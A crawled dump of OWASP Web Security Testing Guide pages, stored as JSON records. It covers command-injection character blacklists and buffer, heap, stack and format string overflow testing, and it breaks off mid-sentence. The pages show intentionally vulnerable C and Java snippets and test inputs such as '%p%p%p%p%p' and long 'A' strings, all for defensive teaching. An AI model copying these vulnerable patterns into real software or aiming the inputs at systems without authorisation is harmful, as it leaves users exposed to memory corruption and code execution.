or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.\n\nGeneral blacklist to be included for command injection can be `|` `;` `&` `$` `>` `<` `'` `\\` `!` `>>` `#`\n\nEscape or filter special characters for windows, `(` `)` `<` `>` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `^` `~` `!` `.` `”` `%` `@` `/` `\\` `:` `+` `,` ```\nEscape or filter special characters for Linux, `{` `}` `(` `)` `>` `<` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `$` `–` `#` `~` `!` `.` `”` `%` `/` `\\` `:` `+` `,` ```\n\n### Permissions\n\nThe web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all this information to test from a gray-box testing point of view.\n\n## Tools\n\n- OWASP [WebGoat](https://owasp.org/www-project-webgoat/)\n- [Commix](https://github.com/commixproject/commix)\n\n## References\n\n- [Penetration Testing for Web Applications (Part Two)](https://www.symantec.com/connect/articles/penetration-testing-web-applications-part-two)\n- [OS Commanding](http://projects.webappsec.org/w/page/13246950/OS%20Commanding)\n- [CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)](https://cwe.mitre.org/data/definitions/78.html)\n- [ENV33-C. Do not call system()](https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6685, "slov": 922, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:02", "sha256": "5d8db36e2dfd53fe4fc55c66b21fae54b04a2d34148af4fde34e2736cb8cf88f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/commixproject/commix", "https://www.symantec.com/connect/articles/penetration-testing-web-applications-part-two", "http://projects.webappsec.org/w/page/13246950/OS%20Commanding", "https://cwe.mitre.org/data/definitions/78.html", "https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Buffer Overflow"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Code Review"}], "markdown": "# WSTG - v4.1\n\n# Testing for Buffer Overflow\n\n| ID |\n| --- |\n| WSTG-INPV-13 |\n\n## Summary\n\nTo find out more about buffer overflow vulnerabilities, please go to OWASP’s [Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow) vulnerability page.\n\nSee the OWASP article on [Buffer Overflow](https://owasp.org/www-community/attacks/Buffer_overflow_attack) Attacks.\n\n## How to Test\n\nDifferent types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.\n\n- [Testing for heap overflow vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow)\n- [Testing for stack overflow vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow)\n- [Testing for format string vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String)\n\n### Code Review\n\nSee the [OWASP Code Review Guide](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project) article on how to review code for Buffer Overrun and Overflow vulnerabilities.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1382, "slov": 124, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:03", "sha256": "c23e0cd39c2fb7aed09510a85eb9d9a192c9835d73e5b68a973c94fcfb22773a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow.html", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Buffer Overflow"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Code Review"}], "markdown": "# WSTG - v4.1\n\n# Testing for Buffer Overflow\n\n| ID |\n| --- |\n| WSTG-INPV-13 |\n\n## Summary\n\nTo find out more about buffer overflow vulnerabilities, please go to OWASP’s [Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow) vulnerability page.\n\nSee the OWASP article on [Buffer Overflow](https://owasp.org/www-community/attacks/Buffer_overflow_attack) Attacks.\n\n## How to Test\n\nDifferent types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.\n\n- [Testing for heap overflow vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow)\n- [Testing for stack overflow vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow)\n- [Testing for format string vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String)\n\n### Code Review\n\nSee the [OWASP Code Review Guide](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project) article on how to review code for Buffer Overrun and Overflow vulnerabilities.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1382, "slov": 124, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:41:54", "sha256": "c23e0cd39c2fb7aed09510a85eb9d9a192c9835d73e5b68a973c94fcfb22773a", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Heap Overflow"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Heap Overflow\n\n## Summary\n\nIn this test the penetration tester checks whether a they can make a [Heap overflow](https://wiki.owasp.org/index.php/Buffer_Overflows#Heap_Overflow) that exploits a memory segment.\n\nHeap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.\n\nWhen a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.\n\nThere are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows, since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.\n\n## How to Test\n\n### Black-Box Testing\n\nThe principles of black-box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.\n\n*Figure 4.7.13-1: Heap Overflow Vulnerability*\n\nThe two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.\n\nWhen the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.\n\n### Gray-Box Testing\n\nWhen reviewing code, one must realize that there are several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant.\n\nMost of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like `strcpy( )` on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:-\n\n```\nint main(int argc, char *argv[]) { …… vulnerable(argv[1]); return 0; } int vulnerable(char *buf) { HANDLE hp = HeapCreate(0, 0, 0); HLOCAL chunk = HeapAlloc(hp, 0, 260); strcpy(chunk, buf); ''' Vulnerability''' …….. return 0; } \n```\n\nIn this case, if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.\n\nLately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing `TNEF` filetypes, from Clam Anti Virus 0.86.1, source file `tnef.c` and function `tnef_message( )`:\n\n```\nstring = cli_malloc(length + 1); ''' Vulnerability''' if(fread(string, 1, length, fp) != length) {''' Vulnerability''' free(string); return -1; } \n```\n\nThe malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example, length is user-controllable and a malicious TNEF file can be crafted to set length to `-1`, which would result in `malloc( 0 )`. Therefore, this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).\n\nAnd now, in line 2, a heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a `size_t` variable. But if it’s going to be `-1`, the argument wraps to `0xFFFFFFFF`, thus copying `0xFFFFFFFF` bytes into the 16 byte buffer.\n\nStatic code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.\n\n## Tools\n\n- [OllyDbg: “A windows based debugger used for analyzing buffer overflow vulnerabilities”](http://www.ollydbg.de)\n- [Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing](https://www.immunitysec.com/downloads/SPIKE2.9.tgz)\n- [Brute Force Binary Tester (BFB), A proactive binary checker](http://bfbtester.sourceforge.net)\n- [Metasploit, A rapid exploit development and Testing frame work](https://www.metasploit.com)\n\n## References\n\n### Whitepapers\n\n- [w00w00: “Heap Overflow Tutorial”](https://www.cgsecurity.org/exploit/heaptut.txt)\n- [David Litchfield: “Windows Heap Overflows”](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6184, "slov": 930, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:04", "sha256": "5d7ea4287f089b031b37f9dd982c0d30b7f1eacf78e303a455c912548684e324", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Buffer_Overflows", "http://www.ollydbg.de/", "https://www.immunitysec.com/downloads/SPIKE2.9.tgz", "http://bfbtester.sourceforge.net/", "https://www.metasploit.com/", "https://www.cgsecurity.org/exploit/heaptut.txt", "https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Stack Overflow"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Stack Overflow\n\n## Summary\n\n[Stack overflows](https://wiki.owasp.org/index.php/Buffer_Overflows#Stack_Overflow) occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. In fact almost every platform is vulnerable to stack overflows with the following notable exceptions:\n\n- J2EE – as long as native methods or system calls are not invoked\n- .NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)\n- PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called can suffer from stack overflow issues.\n\nStack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.\n\n## How to Test\n\n### Black-Box Testing\n\nThe key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate malformed input for the application, subject the application to malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.\n\nOn the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.\n\nAs a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:\n\n```\n#include int main(int argc, char *argv[]) { char buff[20]; printf(\"copying into buffer\"); strcpy(buff,argv[1]); return 0; } \n```\n\nFile sample.exe is launched in a debugger, in our case OllyDbg.\n\n*Figure 4.7.13.2-1: OllyDbg - Stack Overflow Vulnerability*\n\nSince the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.\n\nOn opening the executable with the supplied arguments and continuing execution the following results are obtained.\n\n*Figure 4.7.13.2-2: OllyDbg Result - Stack Overflow Vulnerability*\n\nAs shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction to be executed, contains the value `41414141`. `41` is a hexadecimal representation for the character `A` and therefore the string `AAAA` translates to 41414141.\n\nThis clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.\n\nAs mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.\n\n### Gray-Box Testing\n\nWhen reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.\n\nFor example consider the following function:-\n\n```\nvoid log_create(int severity, char *inpt) { char b[1024]; if (severity == 1) { strcat(b,”Error occurred on”); strcat(b,\":\"); strcat(b,inpt); FILE *fd = fopen (\"logfile.log\", \"a\"); fprintf(fd, \"%s\", b); fclose(fd); . . . . . . } \n```\n\nFrom above, the line strcat(b,inpt) will result in a stack overflow if inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by `char *inpt`. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.\n\nUsage of the relatively safer `strncpy()` can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. If the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-\n\n```\nvoid func(char *source) { Char dest[40]; … size=strlen(source)+1 …. strncpy(dest,source,size) } \n```\n\nwhere source is user controllable data. A good example would be the [samba trans2open stack overflow vulnerability](https://www.securityfocus.com/archive/1/317615).\n\nVulnerabilities can also appear in URL and address parsing code. In such cases, a function like `memccpy()` is usually employed which copies data into a destination buffer from source until a specified character is not encountered. Consider the function:\n\n```\nvoid func(char *path) { char servaddr[40]; … memccpy(servaddr,path,'\\'); …. } \n```\n\nIn this case the information contained in path could be greater than 40 bytes before `\\` can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer until a `\\` was encountered. The length of the server name in this case was controllable by users.\n\nApart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits, like `strcpy()` and `sprintf()` bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.\n\n## Tools\n\n- [OllyDbg: “A windows based debugger used for analyzing buffer overflow vulnerabilities”](http://www.ollydbg.de)\n- [Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing](https://www.immunitysec.com/downloads/SPIKE2.9.tgz)\n- [Brute Force Binary Tester (BFB), A proactive binary checker](http://bfbtester.sourceforge.net/)\n- [Metasploit, A rapid exploit development and Testing frame work](https://www.metasploit.com)\n\n## References\n\n### Whitepapers\n\n- [Aleph One: “Smashing the Stack for Fun and Profit”](https://insecure.org/stf/smashstack.html)\n- [The Samba trans2open stack overflow vulnerability](https://www.securityfocus.com/archive/1/317615)\n- [Windows RPC DCOM vulnerability details](https://packetstormsecurity.com/files/31453/benjurry.txt.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7686, "slov": 1109, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:05", "sha256": "e23b2c5ad3d7a10b46a77dabaac84c13c90fb696eba18fca5344df302c4b8849", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Buffer_Overflows", "https://www.securityfocus.com/archive/1/317615", "http://www.ollydbg.de/", "https://www.immunitysec.com/downloads/SPIKE2.9.tgz", "http://bfbtester.sourceforge.net/", "https://www.metasploit.com/", "https://insecure.org/stf/smashstack.html", "https://packetstormsecurity.com/files/31453/benjurry.txt.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Format String"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Static Analysis"}, {"uroven": 3, "text": "Manual Code Inspection"}, {"uroven": 3, "text": "Conversion Specifier Injection"}, {"uroven": 4, "text": "Manual Injection"}, {"uroven": 4, "text": "Tool Assisted Fuzzing"}], "markdown": "# WSTG - v4.1\n\n# Testing for Format String\n\n## Summary\n\nA format string is a null-terminated character sequence that also contains conversion specifiers interpreted or converted at runtime. If server-side code [concatenates a user’s input with a format string](https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/), an attacker can append additional conversion specifiers to cause a runtime error, information disclosure, or buffer overflow.\n\nThe worst case for format strings vulnerabilities occur in languages that don’t check arguments and also include a `%n` specifier that writes to memory. These functions, if exploited by an attacker modifying a format string, could cause [information disclosure and code execution](https://www.veracode.com/security/format-string):\n\n- C and C++ [printf](https://en.cppreference.com/w/c/io/fprintf) and similar methods fprintf, sprintf, snprintf\n- Perl [printf](https://perldoc.perl.org/functions/printf.html) and sprintf\n\nThese format string functions cannot write to memory, but attackers can still cause information disclosure by changing format strings to output values the developers did not intend to send:\n\n- Python 2.6 and 2.7 [str.format](https://docs.python.org/2/library/string.html) and Python 3 unicode [str.format](https://docs.python.org/3/library/stdtypes.html#str.format) can be modified by injecting strings that can point to [other variables](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/) in memory\n\nThe following format string functions can cause runtime errors if the attacker adds conversion specifiers:\n\n- Java [String.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html#format%28java.util.Locale%2Cjava.lang.String%2Cjava.lang.Object...%29) and [PrintStream.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html#format%2528java.util.Locale%252Cjava.lang.String%252Cjava.lang.Object...%2529)\n- PHP [printf](https://www.php.net/manual/es/function.printf.php)\n\nThe code pattern that causes a format string vulnerability is a call to a string format function that contains unsanitized user input. The following example shows how a debug `printf` could make a program vulnerable:\n\nThe example in C:\n\n```\nchar *userName = /* input from user controlled field */; printf(\"DEBUG Current user: \"); // Vulnerable debugging code printf(userName); \n```\n\nThe example in Java:\n\n```\nfinal String userName = /* input from user controlled field */; System.out.printf(\"DEBUG Current user: \"); // Vulnerable code: System.out.printf(userName); \n```\n\nIn this particular example, if the attacker set their `userName` to have one or more conversion specifiers, there would be unwanted behaviour. The C example would [print out memory contents](https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf) if `userName` contained `%p%p%p%p%p`, and it can corrupt memory contents if there is a `%n` in the string. In the Java example, a `username` containing any specifier that needs an input (including `%x` or `%s`) would cause the program to crash with `IllegalFormatException`. Although the examples are still subject to other problems, the vulnerability can be fixed by printf arguments of `printf(\"DEBUG Current user: %s\", userName)`.\n\n## Test Objectives\n\nAssess whether injecting format string conversion specifiers into user-controlled fields causes undesired behaviour from the application.\n\n## How to Test\n\nTests include analysis of the code and injecting conversion specifiers as user input to the application under test.\n\n### Static Analysis\n\nStatic analysis tools can find format string vulnerabilities in either the code or in binaries. Examples of tools include:\n\n- C and C++: [Flawfinder](https://dwheeler.com/flawfinder/)\n- Java: FindSecurityBugs rule [FORMAT_STRING_MANIPULATION](https://find-sec-bugs.github.io/bugs.htm#FORMAT_STRING_MANIPULATION)\n- PHP: String formatter Analyzer in [phpsa](https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md#function_string_formater)\n\n### Manual Code Inspection\n\nStatic analysis may miss more subtle cases including format strings generated by complex code. To look for vulnerabilities manually in a codebase, a tester can look for all calls in the codebase that accept a format string and trace back to make sure untrusted input cannot change the format string.\n\n### Conversion Specifier Injection\n\nTesters can check at the unit test or full system test level by sending conversion specifiers in any string input. [Fuzz](https://owasp.org/www-community/Fuzzing) the program using all of 